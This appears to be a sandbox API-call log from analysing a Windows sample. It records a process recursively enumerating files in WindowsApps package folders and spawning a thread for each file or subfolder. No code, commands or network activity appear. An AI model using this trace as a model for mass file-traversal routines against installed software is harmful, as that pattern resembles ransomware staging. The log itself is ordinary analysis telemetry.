	[0077.055] wcscat (in: _Dest=0x2e349a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.055] wcscat (in: _Dest=0x2e349a8, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e349a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48
	[0077.056] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba02f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.056] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.056] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e114c8
	[0077.056] wcscpy (in: _Dest=0x2e114c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.056] wcscat (in: _Dest=0x2e114c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.056] wcscat (in: _Dest=0x2e114c8, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e114c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c
	[0077.057] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba02f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.057] FindClose (in: hFindFile=0x2d71340 | out: hFindFile=0x2d71340) returned 1
	[0077.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbff98) returned 1
	[0077.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f489d8) returned 1
	[0077.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1

Thread:
	id = 278
	os_tid = 0xffc

	[0076.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4f48b80
	[0076.801] wcscpy (in: _Dest=0x4f48b80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0076.801] wcscat (in: _Dest=0x4f48b80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0076.801] wcscat (in: _Dest=0x4f48b80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\*"
	[0076.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0200
	[0076.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62a7e361, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d713c0
	[0076.802] wcscmp (_String1=".", _String2=".") returned 0
	[0076.802] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62a7e361, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.802] wcscmp (_String1="..", _String2=".") returned 1
	[0076.802] wcscmp (_String1="..", _String2="..") returned 0
	[0076.802] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aa45be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62aa45be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62aa45be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2557a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.802] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.802] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4f48c48
	[0076.802] wcscpy (in: _Dest=0x4f48c48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0076.802] wcscat (in: _Dest=0x4f48c48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0076.802] wcscat (in: _Dest=0x4f48c48, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f48c48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14
	[0077.028] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a7e361, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62a7e361, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62a7e361, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.028] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.028] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x498e928
	[0077.028] wcscpy (in: _Dest=0x498e928, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.028] wcscat (in: _Dest=0x498e928, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.028] wcscat (in: _Dest=0x498e928, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498e928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc
	[0077.029] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4070c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62aca818, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.029] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.029] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x498ea10
	[0077.029] wcscpy (in: _Dest=0x498ea10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.029] wcscat (in: _Dest=0x498ea10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.029] wcscat (in: _Dest=0x498ea10, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498ea10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0
	[0077.030] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aa45be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62aa45be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62aa45be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.030] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.030] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x498eaf0
	[0077.030] wcscpy (in: _Dest=0x498eaf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.030] wcscat (in: _Dest=0x498eaf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.030] wcscat (in: _Dest=0x498eaf0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498eaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4
	[0077.031] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aca818, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62b893df, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62b893df, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x249ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clienttelemetry.dll", cAlternateFileName="")) returned 1
	[0077.031] wcscmp (_String1="clienttelemetry.dll", _String2=".") returned 1
	[0077.031] wcscmp (_String1="clienttelemetry.dll", _String2="..") returned 1
	[0077.031] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b893df, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62baf63d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62baf63d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FilesystemMetadata.xml", cAlternateFileName="")) returned 1
	[0077.031] wcscmp (_String1="FilesystemMetadata.xml", _String2=".") returned 1
	[0077.031] wcscmp (_String1="FilesystemMetadata.xml", _String2="..") returned 1
	[0077.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x498ebd8
	[0077.031] wcscpy (in: _Dest=0x498ebd8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.031] wcscat (in: _Dest=0x498ebd8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.031] wcscat (in: _Dest=0x498ebd8, _Source="FilesystemMetadata.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml"
	[0077.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498ebd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8
	[0077.032] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62baf63d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62baf63d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62baf63d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21, dwReserved0=0x0, dwReserved1=0x0, cFileName="FilesystemMetadata.xml.md", cAlternateFileName="")) returned 1
	[0077.032] wcscmp (_String1="FilesystemMetadata.xml.md", _String2=".") returned 1
	[0077.032] wcscmp (_String1="FilesystemMetadata.xml.md", _String2="..") returned 1
	[0077.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89850
	[0077.032] wcscpy (in: _Dest=0x2d89850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.032] wcscat (in: _Dest=0x2d89850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.032] wcscat (in: _Dest=0x2d89850, _Source="FilesystemMetadata.xml.md" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\FilesystemMetadata.xml.md"
	[0077.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec
	[0077.032] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62baf63d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc41746, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0077.033] wcscmp (_String1="images", _String2=".") returned 1
	[0077.033] wcscmp (_String1="images", _String2="..") returned 1
	[0077.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7ef08
	[0077.033] wcscpy (in: _Dest=0x2d7ef08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.033] wcscat (in: _Dest=0x2d7ef08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.033] wcscat (in: _Dest=0x2d7ef08, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\images"
	[0077.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7ef08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0
	[0077.033] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc423fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1
	[0077.033] wcscmp (_String1="loc", _String2=".") returned 1
	[0077.034] wcscmp (_String1="loc", _String2="..") returned 1
	[0077.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x498ecc8
	[0077.034] wcscpy (in: _Dest=0x498ecc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.034] wcscat (in: _Dest=0x498ecc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.034] wcscat (in: _Dest=0x498ecc8, _Source="loc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\loc"
	[0077.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498ecc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4
	[0077.034] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.034] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.034] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x498ed90
	[0077.034] wcscpy (in: _Dest=0x498ed90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.034] wcscat (in: _Dest=0x498ed90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.035] wcscat (in: _Dest=0x498ed90, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498ed90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8
	[0077.035] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c9445e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63254d7a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63254d7a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f0cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20imm.dll", cAlternateFileName="")) returned 1
	[0077.035] wcscmp (_String1="mso20imm.dll", _String2=".") returned 1
